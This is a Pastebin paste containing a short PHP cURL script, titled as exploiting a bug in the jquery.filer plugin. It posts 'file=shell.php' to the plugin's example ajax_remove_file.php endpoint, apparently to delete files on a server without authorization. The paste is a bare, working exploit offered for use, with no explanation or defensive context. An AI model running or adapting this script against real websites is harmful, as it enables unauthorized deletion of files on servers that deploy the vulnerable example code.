SHARE
TWEET

PHP Curl to Remove File in Bug Jquery Filer

ToKeiChun Apr 8th, 2019 (edited) 71 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. $ch = curl_init();
  3.  
  4. curl_setopt($ch, CURLOPT_URL,"https://localhost/vendor/jquery.filer/examples/dragdrop/php/ajax_remove_file.php");
  5. curl_setopt($ch, CURLOPT_POST, 1);
  6. curl_setopt($ch, CURLOPT_POSTFIELDS,
  7.             "file=shell.php");
  8.  
  9. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  10.  
  11. $server_output = curl_exec($ch);
  12. curl_close ($ch);
  13. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top